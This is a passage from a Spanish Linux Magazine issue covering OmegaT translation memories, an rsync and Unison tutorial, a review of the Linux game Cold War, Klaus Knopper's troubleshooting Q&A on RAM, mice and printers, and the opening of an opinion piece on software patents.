1 (básicamente para su reutilización dentro de otras traducciones con la misma OmegaT, por sus deficiencias)[8].
Educación • LINUX USER
Figura 5: Traduciendo html con OmegaT.
OmegaT procede de un mundo ajeno a gettext y al formato PO, más cercano a las herramientas usadas en el mundo de la traducción comercial, con las que se mide. Sorpresivamente usa el formato estándar de intercambio de memorias de traducción TMX como su formato interno de trabajo (un texto se
convierte en memoria para trabajar con él). La figura 5 nos muestra en pleno proceso de traducción, frase por frase, y la memoria de traducción creada nos ofrece una ayuda a la traducción actual. No hemos creado ningún glosario en este caso (según la documentación se crearía mediante un fichero de extensión y codificación .utf8, que incluiría tres columnas separadas por tabulaciones: la palabra -o expresión- de la lengua original, la palabra o expresión de la lengua destino y algún posible comentario, útil para ayudar a la traducción). ¿Con qué formatos trabaja OmegaT? Depende de la versión (se van incorporando nuevos filtros continuamente): texto plano, html y xhtml, sx? y od? (las distintas
aplicaciones de las suites de OpenOffice), un incipiente módulo PO ¡! Para terminar no tenemos más que pulsar la opción Generar los documentos destino del menú. Mis pruebas con html son satisfactorias. Una pega: volvemos al aislamiento de las comunidades en su faceta inversa: ¿qué hacemos con nuestros compendios PO? ¿Hay alguna forma de que OmegaT los acepte o podamos convertirlos al formato TMX?
Y en el próximo número… Estudiaremos con detalle las soluciones para lo que hemos llamado la “interpersonalidad de los grupos de traducción”: las posibilidad de compartir memorias de traducción, las interfaces web ■ (nos detendremos en pootle)…
NOTAS [1] Esta imagen es propiedad de i18n inc. y tiene los derechos reservados. [2] GMX-V (http://www.lisa.org/standards/gmx/) está hasta el 16 de septiembre de 2006 en fase de revisión pública, a la espera de la aprobación oficial como un estándar de OSCAR. [3] Estudiando el wiki del proyecto Translate (http://translate.sourceforge.net/wiki/guide/tools/comparison) hemos encontrado la comparativa de la figura 3. [4] Nos referimos al capítulo 4 de http://l10n.kde.org/docs/translation-howto/. Poxml (http://cia.navi.cx/stats/project/kde/kdesdk/poxml) es obra de Stephan Kulow y Peter Wells. [5] Xml2po está documentado por Lars Trieloff en http://weblogs.goshaky.com/weblogs/page/lars/20040823. [6] http://translate.sourceforge.net/wiki/translatetoolkit?DokuWiki=864df61fcbfaceb8a765a56333b837fa. [7] La información más actualizada sobre OmegaT puede encontrarse en http://www.omegat.org/omegat/omegat.html. Existe también un sitio que reúne al grupo de usuarios y desarrolladores (http://groups.yahoo.com/group/OmegaT/). Para descargar OmegaT se visitará SourceForge: http://sourceforge.net/projects/omegat. ¿Qué versión descargar? Depende de nuestras necesidades (las nuevas versiones incorporan nuevas funcionalidades, pero también están menos probadas). Las resumimos: • 1.6.0 RC10 (junio 2006) incluye tres nuevos filtros para traducir ficheros INI, PO, and DocBook. • 1.6.0 RC12a (agosto 2006): incorporado nuevo filtro XHTML que al fin maneja las características de XML. Para la segmentación en OmegaT consultar http://sourceforge.net/support/tracker.php?aid=1053692 (las reglas de segmentación están en el fichero $home/.omegat/segmentation.conf); aunque hace su aparición en la versión 1.4.6 Beta 2 (junio de 2005), no es utilizable hasta las 1.6. Respecto a la importación y exportación de TMX, remitimos a http://sourceforge.net/support/tracker.php?aid=1031139. [8] Para aclararse con el tema de las versiones y los niveles de TMX no hay nada mejor que leer este mensaje de Rodolfo M. Raya a la lista de distribución de OmegaT de fecha 2 de junio de 2005:
There are several versions of TMX DTD: 1.1, 1.2, 1.3, 1.4, 1.4a, 1.4b All of them have different elements and attributes. Most CAT tools work with version 1.4 and its variants. OmegaT still works with version 1.1 of TMX DTD. TMX Levels are a different thing. There are only two Levels and their definitions are the same across all versions of TMX DTD. * Level 1: only text without formatting information is stored in the TMX file. * Level 2: text with formatting information properly encapsulated inside special elements is stored in the translation memory. La limitación al nivel 1 implica que la encapsulación del marcado que realizan otras aplicaciones se pierde.
WWW.LINUX- MAGAZINE.ES
Número 20
83
LINUX USER • Línea de comandos: Rsync
Sincronización de Ficheros con Rsync
SINCRONÍZATE Rsync permite sincronizar datos tanto en un ordenador local como remoto. Incluso puede ser usado con SSH para la encriptación de datos. POR HEIKE JURZIK
R
sync permite mantener los datos actualizados y ayuda a controlar los confusos cambios que se producen en las nuevas versiones de cada fichero. La herramienta de sincronización Rsync ofrece opciones que ayudan a administrar las propiedades de ficheros, funciona bien con SSH y es perfecto para la transferencia rápida de grandes volúmenes de datos si el ordenador objetivo ya posee una copia de una versión previa. Rsync comprueba las diferencias entre la fuente y las versiones objetivo de los datos y transfiere solamente aquéllos que hayan cambiado.
Sincronicity Rsync compara los datos en dos máquinas. La sintaxis genérica para esto es rsync [opciones] fuente objetivo. La elección de la fuente y el objetivo es crítica. Es preciso decidir cuidadosamente la dirección donde se va a realizar la sincronización para evitar la pérdida de datos. El cuadro “Datos Unison” presenta una alternativa a esta salida de un solo sentido basada en la herramienta Unison, la cual permite sincronizar en ambas direcciones. Rsync ofrece un apoyo importante para la monitorización de la transferencia de datos: si se invoca a Rsync con la etiqueta -n el programa presentará una ejecución de prueba:
$ rsync -n dirl/* dir2/ skipping directory dirl/dirl skipping directory dir1/dir2 skipping non-regular fileU “ficherol.tex” kap01.tex kap02.tex kap03.tex ...
Tal y como muestra la salida, Rsync transferirá ficheros y directorios pero omitirá los enlaces simbólicos. La herramienta hace referencia a estos últimos como ficheros no-estándar (nonregular). Para transferir subdirectorios
Datos Unison Unison [1] es otra importante herramienta de sincronización, que no sólo sincroniza en ambas direcciones, sino que también soporta sistemas operativos no Linux. Este programa se encuentra disponible para Linux, Windows, Mac OS X y Irix, tal y como puede comprobarse si se echa un vistazo al área de descarga de su sitio web. Unison puede ejecutarse desde la línea de comandos o desde su GUI. Para sincronizar dos directorios en la máquina local se escribe: unison -ui text carpeta1 carpeta2, por ejemplo. Si difiere el contenido de las dos carpetas, Unison dará a conocer la dirección de sincronización y decirnos si el fichero es nuevo o ha sido modificado. carpeta1
carpeta2
new file ——> tex
84
Para ver los comandos disponibles puede escribirse un signo de interrogación (?). Al final, el programa comprueba una vez más si realmente se desean aplicar los cambios: pulsando [Y], se arranca la operación de sincronización. Proceed withU propagating updates? [] y
[f]
<—— changed tex
kap01.
Para aceptar esta sugerencia se pulsa la tecla [F]. Si se presenta un conflicto que Unison no puede resolver porque, digamos, las dos versiones del fichero han cambiado desde la última vez que se ejecutó el programa, Unison presenta un signo de interrogación <-?-> invitando a tomar una decisión. Se puede escribir < ó > o pulsar [Shift-7] (/) para posponer la decisión hasta otro momento, o pulsar [Shift-I] para posponerla para siempre.
kap02.
[f]
Número 20
Propagating updates UNISON started propagating U
WWW.LINUX- MAGAZINE.ES
changes at 20:20:34 U on 28 Feb 2006 [BGN] Copying ficherol.tex from /home/huhnix/dir1 to /home/huhnix/dir2 ... Saving synchronizer state Synchronization complete Igual de simple es la sincronización con máquinas remotas. Primero hay que asegurarse de que la versión Unison instalada es la misma en ambas máquinas y luego se escribe unison -ui text carpeta1 ssh://usuario@maquinaobjetivo/ carpeta. Como puede observarse, la sintaxis es un poco distinta a la de Rsync. En lugar de los dos puntos se tiene una barra. Para usar una ruta absoluta, es preciso añadir otra barra: unison -ui text carpeta1 ssh://usuario@maquinaobjetivo/ carpeta.
Línea de Comandos: Rsync • LINUX USER
recursivamente hasta el nivel más bajo, habrá que especificar la opción -r. Adicionalmente, si se añade la etiqueta -l recoge los enlaces simbólicos. Evidentemente es posible una combinación de estas opciones. rsync -rl dirl/* dir2/ building file list ... done ficherol.tex ->U ficherol_nuevo.tex kap01.tex ...
Rsync dispone de una manera alternativa de manejar enlaces simbólicos: si se sustituye -l por -L, el programa resolverá el enlace, y los enlaces simbólicos acaban como ficheros normales en el directorio objetivo.
Barra Libre Al añadir una barra al nombre del directorio se modifica el modo en el que Rsync desarrolla una operación. Por ejemplo, si se da al comando rsync -a fuente/carpeta objetivo, Rsync transferirá el directorio carpeta y su contenido al directorio objetivo. Si se añade una barra al directorio objetivo, rsync se limitará a transferir el contenido de carpeta al objetivo, metiéndolos directamente en el directorio objetivo (Figura 1).
Volver a Empezar Si se usa Rsync para crear copias de seguridad, tiene sentido mantener los atributos de los ficheros originales. Los atributos incluyen permisos de lectura, escritura y ejecución junto con marcas temporales, es decir, información de la última hora y fecha de acceso (atime), del último cambio de estado (ctime) y la última modificación (mtime). Además, los administradores pueden aprovechar los parámetros que preservan los datos del propietario y del grupo y soportar ficheros de dispositivo. Para mantener los permisos se especifica la opción -p, -t se encarga de las marcas temporales y -g mantiene intacto el atributo del grupo. Si bien cualquier usuario normal puede especificar los parámetros mencionados, las opciones -o (guarda los datos propietarios) y -D (atributos de dispositivo) sólo se encuentran disponibles para el superusuario. La línea de comandos completa con todas estas opciones sería algo como rsync -rlptgoD home/huhn/*backup/. Pero existe un atajo: Rsync dispone de una opción especial que combina estos parámetros para este caso. En vez de -rlptgoD se escribe -a.
Exclusiones Rsync dispone de una práctica opción que permite excluir determinados ficheros del proceso de sincronización. Para utilizarlo, se especifica la opción — exclude= y una pauta de búsqueda y se definen los ficheros a excluir. Esta opción permite el uso de comodines: rsync -a —exclude=*bak ~/ article/*backup/. La barra es importante: ¿Copiará Rsync los contenidos o el Esto excluye ficheros que fichero en sí? acaban en .bak. Si se desean excluir ficheros acabados en tilde se añade en la que se dejó. Especificando la opción — otro —exclude: rsync -a —exclude=*bak — progress se obtiene un indicador de progreso exclude=*~ fuente objetivo. que permite seguirle la pista de la operación Puede ahorrarse tiempo almacenando las de transferencia. exclusiones en un fichero de texto. Se requiere una línea de separación para cada modelo de $ rsync —progress —partialU búsqueda. Hay que especificar el parámetro debian.iso transpluto:U —exclude-from=FicherodeExclusion para ana/scratch/debian/ lizar el fichero. Password:
Cooperación Rsync incluso puede sincronizar datos a través de una red. Se pasa el parámetro -e ssh para encriptar y transferir ficheros usando SSH. Es preciso cambiar la fuente y el objetivo con el nombre o dirección IP de las máquinas local y remota. Si el nombre de la cuenta de la máquina remota es distinta, hay que añadir el nombre de usuario remoto seguido de un signo arroba (@), de la siguiente manera: rsync -e sshb fuente usuario@hostobjetivo:objetivo/. Se escribe una ruta relativa al propio directorio de inicio o bien una ruta absoluta después de los dos puntos. Una variable de entorno evita tener que introducir los parámetros para la encriptación SSH cada vez que se ejecuta el comando. Para Bash el comando es: RSYNC_RSH=ssh. Debido a que la variable solamente es válida dentro del contexto de la shell actual hay que añadir la línea de exportar el fichero de configuración de tu Bash, ~/.bashrc, asignar la variable permanentemente y luego ejecutar source ~/.bashrc para reanalizar el fichero.
Amontonar Datos Rsync es perfecto para la transferencia de grandes volúmenes de datos. Si se especifica el parámetro —partial y se interrumpe la transferencia por alguna razón, puede tomarse dicha transferencia a partir del punto
WWW.LINUX- MAGAZINE.ES
debian.iso 22543992 0:02:14
3%
5.15MB/s
Al otro lado de la conexión, el fichero parcial se mantiene oculto en el directorio objetivo. Si se escribe ls -a, se puede ver un fichero con un nombre como .debian.iso.wtKNr7. El punto al comienzo del nombre del fichero mantiene al fichero oculto y la extensión arbitraria minimiza el peligro de sobreescritura de los ficheros existentes. Cuando se completa la transferencia, el fichero recobra su nombre original. Si se interrumpe puede ser restablecida especificando nuevamente la opción —partial. La opción —partial tiene una desventaja. Si se usa Rsync para actualizar un fichero existente y se interrumpe la transferencia, desaparece el fichero original de la máquina objetivo y es sustituido por el fichero parcial que se ha transferido. Este problema puede solucionarse creando un enlace duro al fichero original primero: ln debian.iso debian_orig.iso. Si la transferencia falla, no se perderá la imagen ISO. En vez de ello, aparecerá un nuevo nombre al fichero par■ cial, pero sin destruir el original.
RECURSOS [1] Página de inicio de Unison: http:// www.cis.upenn.edu/~bcpierce/unison/
Número 20
85
LINUX USER • Juegos
ENTRE SOMBRAS El género del sigilo se estrena en nuestra plataforma linux y lo hace realmente a lo grande con un título de un pequeño grupo de programadores de Praga, [1]Mindware Studios, que lo ha dado todo para crear un juego que desde el día de su estreno ha pasado a convertirse en uno de los grandes de este género. Desde la antigua Rusia damos la bienvenida a Cold War. POR VICENTE CARRO
¡
Camaradas! Cold War viene para asentarse como el primer juego de sigilo 3D comercial para linux y lo hace con todos los honores. Y es que aunque tuviera competencia directa en linux, Cold War brillaría con luz propia. Todos los aspectos han sido cuidados con mimo, máxime si tenemos en cuenta que el equipo desarrollador tenía poca experiencia en el mundillo de los videojuegos. Como veremos en detalle a continuación, la calidad general es más que notable.
Figura 1: El menú del juego en perfecto español.
86
Número 20
Sigilo Este juego se basa casi por completo en el sigilo. A diferencia de otros títulos del género (en otras plataformas) aquí no somos un super soldado mejorado genéticamente o con una equipación tan avanzada que rivalizaría con los super héroes de toda la vida; en Cold War nos metemos en los zapatos de Matt Carter, un simple y llano reportero de investigación norteamericano que tras llegar a Moscú en plena guerra fría para conseguir unas fotos que le pueden arreglar la vida, se ve involucrado en
una conspiración al máximo nivel orquestada para que determinados individuos tomen el control de la URSS. Dadas las nulas habilidades de combate de nuestro protagonista y que no tenemos ningún arma (al menos inicialmente) o protección, se verá obligado a usar el sigilo en todo momento: escondernos entre las sombras, avanzar lentamente para hacer poco ruido o crear distracciones en otro punto para despistar a los guardias serán algunas de las argucias de las que tendremos que valernos para poder avanzar entre decenas de guardias en cada nivel. Pero, ¿que esté enfocado en el sigilo nos inhabilita a usar un arma? En absoluto. A partir de cierto momento se nos permitirá disparar a los enemigos (con las armas que consigamos de otros enemigos inconscientes o muertos) ya que ellos tienen como misión eliminarnos tan pronto como nos localicen, así pues es cuestión de vida o muerte…. salvo que seas tan bueno como para evitar tu muerte sin que les cueste la suya a tus enemigos. Y es que Cold War incluye dos
Figura 2: Fotograma de un vídeo introductorio estilo comic.
WWW.LINUX- MAGAZINE.ES
Juegos • LINUX USER
interesantes modos de dificultad extra: Fantasma y Pacifista. En Pacifista no puedes matar a nadie durante el transcurso del juego, mientras que en Fantasma además no puedes disparar ni una sola alarma; un verdadero reto reservado para profesionales de la paciencia y el sigilo en estado puro.
Reflejos y Relieves En el apartado gráfico del juego lo que más llama la atención en cuanto nos ponemos a jugar es que podemos apreciar que el protagonista está perfectamente texturado incluso con mapa de relieve, dándole un acabado magnífico y muy creíble. Patrick Rak, programador jefe del juego, ha conseguido que, gracias al nuevo motor gráfico MENG, en pantalla podamos ver reflejos, mapas de relieve, buenas texturas, y un siempre presente efecto de HDR que se traduce en un ligero efecto de desenfoque de acuerdo a la luminosidad y color de la imagen. Sin duda, es mucho más fácil entenderlo al ver las imágenes que con una explicación escrita. También estarán presentes durante todo el juego buenas animaciones de personajes y escenarios muy bien modelados. Sólo se le pueden achacar cierta repetitividad al tener que jugar varias veces sobre los mismos escenarios. Pero lo mejor de todo es que estos efectos se ejecutan correctamente con tarjetas gráficas relativamente modestas, permitiéndonos disfrutar de este juego en equipos con configuraciones medianamente antiguas. Aunque, lógicamente, lo ideal es jugarlo en un ordenador potente para poder disfrutar de los efectos con una buena resolución.
Oigo pasos Por un lado el sonido será parte importante del juego, ya que si avanzamos demasiado rápido nuestros pasos serán escuchados por los guardias más cercanos, delatando nuestra posición y eventualmente causando la muerte de nuestro protagonista. Pero de igual modo podemos usar el sonido en nuestra ventaja, por ejemplo, haciendo que un reloj suene en otro punto lejano y consiguiendo así que el guardia de turno se aleje de su posición para investigar, dándonos vía libre en nuestro avance.
Técnicamente el apartado de sonido está muy bien tratado, con buenos efectos de audio, muy buenas voces y una banda sonora muy correcta y bien interpretada. Respecto a las voces hay que reseñar que aunque no hay doblaje en castellano, los textos en pantalla sí están traducidos, por lo que toda clase de público podrá disfrutar de este juego.
Inspector Gadget Una innovación muy interesante, y vital en los niveles más difíciles, es el uso de gadgets o items. Éstos tienen la particularidad de que han de ser montados por el protagonista siempre y cuando tenga suficientes puntos de técnica y piezas para hacerlos. Cada vez que encontremos ciertos planos y documentos en el juego, aumentarán nuestros puntos de técnica; y por otro lado también podremos encontrar elementos o items necesarios para estos montajes. Cuanto más complicado sea el montaje a realizar, más puntos de técnica y más elementos requerirá su construcción. Sin embargo, la molestia vale la pena, ya que podremos crear desde balas de plástico (útiles para incapacitar a un enemigo sin matarlo) hasta complicados dispositivos con bombas de humo de gran alcance unidas a detonadores accionados por control remoto, entre otros artilugios.
Rayos X Matt Carter, el protagonista, conseguirá casi al principio del juego una cámara muy especial. Esta cámara permite durante algunos segundos ver a través de las cosas como si fuera una radiografía. Además, si enfocamos directamente a la cabeza de algún enemigo y pulsamos el botón de disparo conseguiremos lanzarle una carga de radiación que dejará al rival inconsciente durante un rato. También, con los artilugios que podemos crear, es posible realizarle mejoras a la cámara, como alargar su duración o su profundidad de visión. Este es un punto clave del juego, ya que convierte misiones que serían imposibles de realizar en misiones más o menos llevaderas (ver detrás de las puertas es una gran ventaja de hecho). Paradójicamente en un juego en el que
WWW.LINUX- MAGAZINE.ES
Figura 3: Así se ve una persona si usamos la cámara de rayos X.
controlamos a un fotógrafo y donde tenemos una cámara de fotos tan especial, no se nos da la opción de hacer capturas reales de pantalla; no es importante, pero habría sido un detalle incluir dicha opción.
Resumiendo Es un juego sobresaliente, donde todos los aspectos han sido cuidados al detalle, único exponente del género del sigilo en linux con todos los honores. En la demo [2] se incluyen dos niveles distintos que os ayudarán a apreciar tanto la calidad como la técnica que destila este título. Si bien es cierto que el primer contacto con él nos deja un gusto difícil, si le dedicamos una hora escasa empezaremos a disfrutar de la verdadera experiencia de juego. Adquisición obligada, recién salida de la república checa, para los ■ amantes del sigilo.
Puntuación GLOBAL: Lo mejor
• Gráficos, destacando
8,75
el HDR y relieves
• ¡Por fin un juego de sigilo! • Ambientación Lo peor
• No tiene doblaje español • Poca variedad en localizaciones • No podemos sacar fotos
RECURSOS [1] Mindware Studios http://www. mindwarestudios.com [2] Demo de Cold War http://www. guadagames.com/product_info. php?products_id=48
Número 20
87
COMUNIDAD · Konsultorio
EL CONSULTORIO DE KLAUS Klaus Knopper es el creador de Knoppix y co-fundador de la LinuxTag Expo. Trabaja en la actualidad
como
profesor,
programador y consultor. Si tiene algún problema de configuración, o simplemente quiere conocer mejor cómo funciona Linux, no dude en escribir sus preguntas a:
preguntas@linux-magazine.es.
Cuelgues en el sistema Mi equipo se cuelga en momentos aparentemente aleatorios. Me han sugerido que haga un volcado de memoria para buscar pistas. ¿Existe alguna herramienta para poder analizar el contenido de la memoria? En caso afirmativo, ¿qué tipo de cosas debería buscar? Puedes probar memtest86+ desde un disco de arranque, visita http://www.memtest.org/. memtest86+ hace un chequeo de la memoria RAM del
88
Número 20
equipo. A veces este chequeo encuentra memoria RAM defectuosa. En otras ocasiones, sin embargo, los errores son provocados por una configuración errónea en la BIOS de los tiempos de refresco. Este tipo de problemas puede que ocurran sólo bajo una carga de trabajo fuerte que no se simulan con herramientas como memtest86+. La siguiente receta me ha funcionado en un caso donde ninguna herramienta encontraba nada raro. Debería haber suficiente espacio en tmp para poder hacer el test: 1. Empezamos con algo como lo siguiente: dd if=/dev/urandom U of=/tmp/test1 bs=1000k U count=size_of_your_memory_in_MB
2. Como root (se requiere para la opción -f), hacemos unos cuantos (una docena, por ejemplo): ping -f localhost U >/dev/null 2>&1 & ping -f localhost U >/dev/null 2>&1 & ping -f localhost U >/dev/null 2>&1 & ...
Cada ping -f localhost añade una carga al sistema de unos 1-2. 3. Realizamos la siguiente prueba para investigar el problema: while true; do cp /tmp/test1 /tmp/test2; md5sum /tmp/test1 /tmp/test2; done
WWW.LINUX-MAGAZINE.ES
En el caso de que los archivos difieran (sumas md5 diferentes), se están produciendo bits cambiantes aleatorios en la RAM de nuestro ordenador (a continuación debemos usar un ramdisk para descartar un error del disco duro), o algún controlador IO (¿disco duro, puerto PCI?) se ha vuelto loco. En este caso, trataría de reemplazar la placa si está en garantía, pues puede ser una tarea de locos descubrir qué tipo de RAM funciona adecuadamente con el timing de nuestra BIOS, y aunque encontremos algo, probablemente no será la configuración “perfecta”. Y no, no es “un problema debido a Linux” si el test descrito muestra errores que son evidentes.
Ratones USB Me gustaría mucho usar un ratón con mi portátil bajo Linux. Desafortunadamente, los portátiles últimamente carecen de conexiones PS2. La respuesta obvia sería usar un ratón USB, sin embargo, trasteando con distintas distribuciones, he encontrado que Xorg parece no funcionar adecuadamente con los ratones USB (USB 2.0). He notado, no obstante, que si meto el CD de Knoppix para usarlo en mi ordenador, no aparece ningún problema con el ratón USB. El hecho de que Knoppix funcione con ratones USB me hace pensar que este problema no está relacionado con el hardware. Al contrario que muchas distros actuales, Knoppix usa aun XFree y no Xorg. ¿Cuál es el problema y cómo arreglarlo? En mi caso tengo un HP NX6110. dmesg señala un conflicto de memoria, indicando con un mensaje que el ratón se ha quedado sin MTRR disponible.
Konsultorio • COMUNIDAD
Listado 1: Ratón PS/2 en xorg.conf 01 02 03 04 05 06 07 08 09 10
Section “InputDevice” Identifier “PS/2 Mouse” Driver “mouse” Option “Protocol” “auto” Option “ZAxisMapping” “4 5” Option “Device” “/dev/psaux” Option “Emulate3Buttons” “true” Option “Emulate3Timeout” “70” Option “SendCoreEvents” “true” EndSection
de acceder a un ratón PS/2 no presente o a un puerto PS/2 con un enrutado de interrupción erróneo (puede que la causa de esto esté en el ACPI o el APIC). Si este es el problema en su caso, puede plantearse añadir algo como: acpi=off
o por el contrario acpi=force
y/o Idealmente, me gustaría tener el portátil trabajando bajo la última versión de Slackware, que usa el sistema gráfico Xorg. La principal aplicación que utilizo hace uso de la base de datos Postgresql, y estoy seguro que podría echarla a funcionar bajo otras distribuciones si fuese necesario. La pregunta comprende varias categorías, por lo que voy a dividir mis respuestas.
Portátiles sin PS/2 Hace tiempo pensaba que un portátil sin clavija PS/2 era algo que ningún fabricante iba a ser capaz de vender. Bueno, parece claro que mi suposición resultó errónea. Debería haberme preguntado si existían realmente ordenadores sin conector PS/2, ya que recuerdo cuando empezaron a retirar las disqueteras de los equipos, aunque dejaban una controladora de disquetera no funcional en la placa por “razones de compatibilidad”… No hay gran problema, por tanto. Linux, aun con el soporte PS/2 habilitado, funciona bien sin un dispositivo PS/2.
¿Problema de Hardware? Podría ser un problema de hardware si el kernel se queda bloqueado cuando trata
mala configuración que un problema relacionado con la temática Xorg frente a XFree. Miremos en /etc/X11/xorg.conf. Tanto si tenemos varios ratones conectados al equipo, como si sólo tenemos uno o ninguno, debemos asegurarnos que tenemos las siguientes líneas en el archivo xorg.conf:
noapic pnpbios=off
en las opciones APPEND del kernel para lilo, grub o syslinux. Esto podría salvarnos de interrupciones no funcionales. También: pci=irqmask=0x0e98
se sabe que es útil en el caso de problemas con las interrupciones PS/2.
XFree vs Xorg y PS/2 vs Ratón USB Hasta donde yo conozco, los servidores XFree y Xorg no sólo tienen una sintaxis altamente compatible en cuanto a los archivos de configuración, sino que además comparten el mismo tipo de detección de hardware. También, Knoppix 5 ya está usando Xorg (con casi el mismo archivo de configuración que tenía XFree). Este cambio se debe fundamentalmente a que prácticamente todas las distribuciones (incluso Debian) están cambiando a Xorg hoy día. Por tanto, conseguir que un ratón USB y Xorg funcionen correctamente sin tener un ratón PS/2 como dispositivo de puntero primario es más un problema de
Section “ServerFlags” Option “AllowMouseOpenFail” U “true” EndSection
Esto nos permite iniciar el servidor X, incluso si aparece un error en el procedimiento interno de configuración del ratón de XFree o Xorg. Ahora bien, si ocurre que tenemos un ratón que no coopera en absoluto, situado en el centro de la ventana sin responder a nada, todavía podemos usar el teclado para simular los movimientos del ratón. Pulsamos Izq-Control-Shift-NumLock (en el teclado numérico) simultáneamente. Normalmente esto causa un pequeño beep. Entonces podremos mover el puntero usando las flechas del teclado numérico (o la emulación que se usa en la mayoría de los portátiles). En algunos casos, tendremos que pulsar la tecla Num-Lock dos veces para que funcione. Nótese que esto es una funcionalidad del servidor X, por lo que no debería depender del tipo de escritorio que usemos. En cualquier caso, podemos intentar que funcione el ratón USB (con o sin el ratón PS/2 adicional). Knoppix (algunas veces) tiene dos o más ratones listados en la sección ServerLayout de xorg.conf (véase Listado 3). Un experto en XFree/Xorg puede señalar que este método es completamente
Listado 2: Ratón USB en xorg.conf 01 02 03 04 05 06 07 08 09
Section “InputDevice” Identifier “USB Mouse” Driver “mouse” Option “Device” “/dev/input/mice” Option “SendCoreEvents” “true” Option “Protocol” “IMPS/2” Option “ZAxisMapping” “4 5” Option “Buttons” “5” EndSection
WWW.LINUX-MAGAZINE.ES
Número 20
89
COMUNIDAD · Konsultorio
erróneo porque sólo puede haber UN único CorePointer. De igual modo, XFree/Xorg genera una notable advertencia acerca del hecho de que hay DOS de estos punteros presentes en el archivo de configuración. Bueno, a pesar del mensaje de advertencia acerca de los punteros extra, esta configuración ha funcionado perfectamente en Knoppix, con esta misma sintaxis, desde hace años, y las X necesitan al menos un CorePointer operativo para que funcionen las operaciones con el ratón. Esta opción nos proporciona una copia de seguridad en caso de que falle en el arranque. Por tanto, sí, Xorg puede tener más de un CorePointer. Pero en el caso de un portátil que no tenga conector PS/2, o resulte que sólo tenga uno interno para el touchpad, podemos eliminar o comentar la línea InputDevice “PS/2 Mouse” “CorePointer”. El Listado 1 es un ejemplo para un ratón PS/2: La configuración del Listado 1 incluso puede ubicarse en xorg.conf si la línea InputDevice “PS/2 Mouse” “CorePointer” se ha eliminado de la sección ServerLayout. Para un ratón USB, podemos ver un ejemplo en el Listado 2. La configuración en el Listado 2 debería funcionar con la mayoría de los ratones USB. Si /dev/input/mice/ parece muerta, probablemente no tenemos “evdev” compilado en el kernel o el módulo “evdev” no está cargado. Para algunos kernels, los eventos del ratón PS/ 2 se replican en /dev/input/mice, junto a los eventos del ratón USB, por lo que en realidad necesitamos únicamente la línea Input-Device “USB Mouse” “CorePointer” en ServerLayout y podemos eliminar sin riesgo la línea “PS/2”. Tras reiniciar Xorg, deberían funcionar tanto el ratón interno como el externo. Si conectamos el ratón externo unos momentos más tarde, y no se reconoce inmediatamente, deberíamos ser capaces de activar el ratón sin tener que reiniciar las X, simplemente conmutando a una consola de texto y volviendo a conmutar a las X.
Listado 3: Entrada para el ratón en Knoppix 01 Section “ServerLayout” 02 ... 03 InputDevice “USB Mouse” “CorePointer” 04 InputDevice “PS/2 Mouse” “CorePointer” 05 EndSection
90
Número 20
Figura 1: Cambiamos la configuración de la impresora con el botón derecho del ratón en el administrador de impresoras de KDE “kcmshell printmgr”.
Impresora Desconectada Tengo una impresora USB conectada a un equipo con Suse Linux 9.3. Cada vez que se desconecta el cable USB, la configuración de la impresora deja de funcionar, incluso si reinicio y vuelvo a conectar el cable al mismo conector donde estaba en un principio. Me veo obligado a borrar la vieja configuración de la impresora y reinstalar la impresora en Yast. ¿Cuál puede ser el motivo por el que tengo que hacer esto? ¿Puede ser consecuencia de alguna configuración errónea del subsistema USB? En este caso, ¿qué puedo cambiar en el fichero de configuración para evitar tener que reinstalar la impresora? Francamente, no creo que cups cambie la configuración del sistema simplemente con desconectar la impresora. Una posible explicación para el caso de la impresora USB podría ser que su firmware tuviera que ser subido a la impresora cada vez que la conectamos. Si la conectamos en caliente o udev se “olvida” de subirlo, la impresora simplemente no responde a menos que reseteemos el equipo o reiniciemos los módulos USB adecuados que fuercen a subir el firmware. Mi consejo en este caso es que no se debe comprar una impresora que no funcione tal cual (es decir, que no se necesite subir firmware para poder funcionar).
WWW.LINUX-MAGAZINE.ES
Una segunda posible explicación sería que el estado de la impresora en cups se quede marcado como “offline” al desconectar la impresora, y cups esté configurado de manera que no soporte el reescaneo automático para devolver el estado de nuevo a “online”. Para comprobar si estamos en este caso: 1. Abrimos la configuración de la impresora. En KDE, debemos teclear lo siguiente kcmshell printmgr
2. Pulsamos con el botón derecho del ratón en la impresora y verificamos si el estado indica “online”. Podemos también reiniciar/habilitar esta impresora con el mismo botón. Se puede hacer esto mismo con el frontend web de cups, algo menos aconsejable, que podemos encontrar en http:// localhost:631/printers/. Una tercera sospecha: podemos verificar si hay algunos trabajos pendientes para imprimir que contengan información corrupta (como algún archivo PDF corrupto). Tendremos que borrar estas tareas pendientes de la cola para poder regresar a un estado operativo. En cualquier caso deberíamos comprobar los logs de /var/log/cups en busca de errores, y ver también si dmesg revela algún problema con el puerto de la impre■ sora.
Opinión • COMUNIDAD
LA CONSPIRACIÓN MONOPOLÍSTICA L
que los políticos prefieren dedicar, mil veces, su tiempo a regular la simetría de los hielos del frigorífico antes que entrar en el patentamiento del software. Las patentes para el software son el último recurso que le queda a la era de los dinosaurios y van a pelear, presionando país a país y ganando todavía batallas. Las grandes empresas de software, en su empeño por consagrar sus patentes en Europa, se comportan como solteronas que quieren que su maridaje con el Estado se vuelva irreversible. La estrategia es sencilla: Microsoft le ofrece al Estado la estructura patriarcal monógama que en términos de reparto de poder es el tipo de estructura más sencilla desde el neolítico. La oferta habla de igualdad para todos, léase igualdad de oportunidades para establecer el propio dominio, es decir, para crear y mantener la desigualdad. Pero la atractiva esposa esconde cuál es el juego: quién va a controlar la arquitectura de Internet, entendida como la reinterpretación conexiva de toda la información del planeta. Eso es lo que quiere el Imperio: la evolución y la arquitectura de la red. A ese nivel, hasta los derechos de autor serán un problema para el Sr. Gates, porque con copyright no se controla la red. Es más, el canon sobre los soportes digitales no creo que le guste nada y no va a permitir que los burócratas civiles de las entidades de gestión vayan a mantener mucho tiempo su cazo en la red. Poco tienen que ver las acciones recientes antimonopolio en Europa que llegan tarde y llegan pronto. Tarde porque hay situaciones de hecho que la legislación europea no es capaz de corregir. Y una sanción le vendría muy a propósito a Microsoft para acallar inquietudes: “se ha hecho dura justicia”, dirá la gran empresa. Por eso digo que llega pronto respecto de la verdadera amenaza de esa empresa. La empresa tiene por vía de hecho y de patentes controlados todos los
WWW.LINUX-MAGAZINE.ES
